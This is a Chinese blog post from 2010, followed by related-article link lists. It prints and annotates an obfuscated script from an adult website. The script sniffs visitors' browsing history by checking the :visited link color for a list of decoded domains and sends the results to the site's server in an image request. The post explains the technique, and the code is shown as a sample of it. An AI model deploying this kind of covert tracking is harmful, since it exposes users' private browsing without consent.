悄悄用脚本检查你访问过哪些网站的代码


Posted in Javascript onDecember 04, 2010

打开它的“页面源文件”,你能找到一段加密过的JS脚本:

function ypol(){ 
//K是一个对象,实际上是一个数组。存了一堆加密过的pr*n站链接。 
var k={0:"qpsoivc/dpn",1:"sfeuvcf/dpn",2:"bevmugsjfoeg joefs/dpn",3:"ywjefpt/dpn",4:"uvcf9/dpn",5:"yoyy/d pn",6:"nfhbqpso/dpn",7:"nfhbspujd/dpn",8:"yibntufs /dpn",9:"bxfnqjsf/dpn",10:"sfbmjuzljoht/dpn",11:"c sb{{fst/dpn",12:"yuvcf/dpn",13:"cbohcspt2/dpn",14: "gmjoh/dpn",15:"gsffpoft/dpn",16:"nzgsffqbztjuf/dp n",17:"efcpobjscmph/dpn",18:"qbztfswf/dpn",19:"nby qpso/dpn",20:"wjefpt{/dpn",21:"bfco/ofu",22:"qpsop sbnb/dpn"}; 
var g=[]; 
for(var m in k){ 
var d=k[m]; //遍历k中的元素赋值给d 
var a=""; 
for(var f=0;f<d.length;f++){ 
a+=String.fromCharCode(d.charCodeAt(f)-1); 
}/* 这里把d中的每一条字符都还原了。 
* charCodeAt(char) 函数返回char的ascii码 
* String.fromCharCode(asccii) 返回ascii码对应的字符 
* 然后把结果赋值给a 
* 比如第一次循环,a的值就是 qpsoivc/dpn -> pornhub.com 
*/ 
var h=false; 
/* 
* 这个循环创建A对象并让链接赋值为 http://a/ 和 http://www.a/ 
* 为什么要循环来2次,目的是为了准确性 
* 访问 http://example.com/ 和 http://www.example.com/ 对于浏览器来说,是不同的域名 
* 所以要区别对待 
*/ 
for(var j in {"http://":"","http://www.":""}){ 
var l=document.createElement("a"); //创建一个A对象 
l.href=j+a; 
document.getElementById("ol").appendChild(l); 
// A对象附加给一个id为ol的元素上,要附加在一个在DOM树上的元素,浏览器才会render这个元素,并设置合适的CSS 
var e=""; 
if(navigator.appName.indexOf("Microsoft")!=-1){ 
e=l.currentStyle.color; //取IE中A对象的颜色 
}else { 
e=document.defaultView.getComputedStyle(l,null).ge tPropertyValue("color"); 
//取其他标准浏览器的颜色 
} 
if(e=="#0c2238"||e=="#0c2238"){ 
/* 
* 如果是紫色,就表示访问过此站点。 
* 浏览器默认给访问过的链接标记为紫色 
* a:visited{color: #123456} 
*/ 
h=true; 
} 
} 
if(h){ //如果访问过,把站点加入列表g 
g.push(m); 
} 
} 
var b=(g instanceof Array)?g.join(","):""; //把g由数组变成字符串 
var c=document.createElement("img"); //建立一个img对象 
c.src="http://ol.youporn.com/blank.gif?id="+b; //img的src指向自家服务器上的一幅图像,关键是附带上了g数组的值 
document.getElementById("ol").appendChild(c); //加入DOM树,理由跟前面的A一样 
/* 
* 以一次图片访问,在web-server
Javascript 相关文章推荐
Track Image Loading效果代码分析
Aug 13 Javascript
JavaScript在多浏览器下for循环的使用方法
Nov 07 Javascript
javascript确认框的三种使用方法
Dec 17 Javascript
Node.js实现批量去除BOM文件头
Dec 20 Javascript
js实现简单选项卡与自动切换效果的方法
Apr 10 Javascript
再谈JavaScript线程
Jul 10 Javascript
自己封装的一个简单的倒计时功能实例
Nov 23 Javascript
简述vue状态管理模式之vuex
Aug 29 Javascript
vue--点击当前增加class,其他删除class的方法
Sep 15 Javascript
微信小程序保持session会话的方法
Mar 20 Javascript
vue引入静态js文件的方法
Jun 20 Javascript
vue v-for 点击当前行,获取当前行数据及event当前事件对象的操作
Sep 10 Javascript
jQuery)扩展jQuery系列之一 模拟alert,confirm(一)
Dec 04 #Javascript
高效的表格行背景隔行变色及选定高亮的JS代码
Dec 04 #Javascript
javascript innerHTML使用分析
Dec 03 #Javascript
统计出现最多的字符次数的js代码
Dec 03 #Javascript
解决jquery的.animate()函数在IE6下的问题
Dec 03 #Javascript
基于jQuery的左右滚动实现代码
Dec 03 #Javascript
基于jquery的finkyUI插件与Ajax实现页面数据加载功能
Dec 03 #Javascript
You might like
php zip文件解压类代码
2009/12/02 PHP
php排序算法(冒泡排序,快速排序)
2012/10/09 PHP
PHP中Session可能会引起并发问题
2015/06/26 PHP
ThinkPHP打水印及设置水印位置的方法
2016/10/14 PHP
ThinkPHP实现登录退出功能
2017/06/29 PHP
javascript prototype,executing,context,closure
2008/12/24 Javascript
AJAX的跨域与JSONP(为文章自动添加短址的功能)
2010/01/17 Javascript
js 编写规范
2010/03/03 Javascript
学习面向对象之面向对象的术语
2010/11/30 Javascript
jQuery编辑器KindEditor4.1.4代码高亮显示设置教程
2013/03/01 Javascript
javascript检测对象中是否存在某个属性判断方法小结
2013/05/19 Javascript
javascript获取元素偏移量的方法有哪些
2014/06/24 Javascript
JavaScript中Cookies的相关使用教程
2015/06/04 Javascript
原生javascript 学习之js变量全面了解
2016/07/14 Javascript
JavaScript实现简单的日历效果
2016/09/25 Javascript
js 弹出虚拟键盘修改密码的简单实例
2016/10/10 Javascript
React学习笔记之条件渲染(一)
2017/07/02 Javascript
微信小程序:数据存储、传值、取值详解
2019/05/07 Javascript
Antd的Table组件嵌套Table以及选择框联动操作
2020/10/24 Javascript
python自动化测试实例解析
2014/09/28 Python
python 在指定范围内随机生成不重复的n个数实例
2019/01/28 Python
Python安装OpenCV的示例代码
2020/03/05 Python
如何在sublime编辑器中安装python
2020/05/20 Python
CSS3弹性盒模型开发笔记(二)
2016/04/26 HTML / CSS
印度尼西亚综合购物网站:Lazada印尼
2016/09/07 全球购物
墨西哥购物网站:Elektra
2020/01/21 全球购物
关于圣诞节的广播稿
2014/01/26 职场文书
自动化专业毕业生求职信
2014/06/18 职场文书
煤矿安全知识竞赛活动总结
2014/07/07 职场文书
大学迎新生标语
2014/10/06 职场文书
2014年平安建设工作总结
2014/11/19 职场文书
幼儿园元旦主持词
2015/07/06 职场文书
2015选调生工作总结
2015/07/24 职场文书
《牧场之国》教学反思
2016/02/22 职场文书
职场新人刚入职工作总结该怎么写?
2019/05/15 职场文书
详解Vue router路由
2021/11/20 Vue.js